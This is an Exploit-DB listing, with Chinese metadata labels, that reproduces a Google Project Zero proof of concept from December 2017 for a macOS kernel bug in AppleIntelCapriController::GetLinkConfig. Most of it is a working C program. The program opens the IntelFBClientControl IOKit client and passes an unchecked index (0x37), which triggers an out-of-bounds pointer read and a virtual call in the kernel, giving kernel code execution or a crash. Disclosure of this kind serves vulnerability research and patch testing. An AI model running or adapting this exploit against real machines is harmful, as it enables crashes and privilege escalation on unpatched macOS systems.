Apple macOS – Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig

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• 作者： Google Security Research
  日期： 2017-12-12
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43327/

• /*
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375
  
  AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
  a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
  which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
  
  Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  */
  
  // ianbeer
  // build: clang -o capri_link_config capri_link_config.c -framework IOKit
  
  #if 0
  MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
  
  AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
  a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
  which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.
  
  Tested on MacOS 10.13 (17A365) on MacBookAir5,2
  #endif
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  #include <IOKit/IOKitLib.h>
  
  int main(int argc, char** argv){
  kern_return_t err;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
  
  if (service == IO_OBJECT_NULL){
  printf("unable to find service\n");
  return 0;
  }
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
  printf("unable to get user client connection\n");
  return 0;
  }
  
  uint64_t inputScalar[16];
  uint64_t inputScalarCnt = 0;
  
  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call
  
  
  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;
  
  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
  conn,
  0x921,// GetLinkConfig
  inputScalar,
  inputScalarCnt,
  inputStruct,
  inputStructCnt,
  outputScalar,
  &outputScalarCnt,
  outputStruct,
  &outputStructCnt); 
  
  return 0;
  }
  

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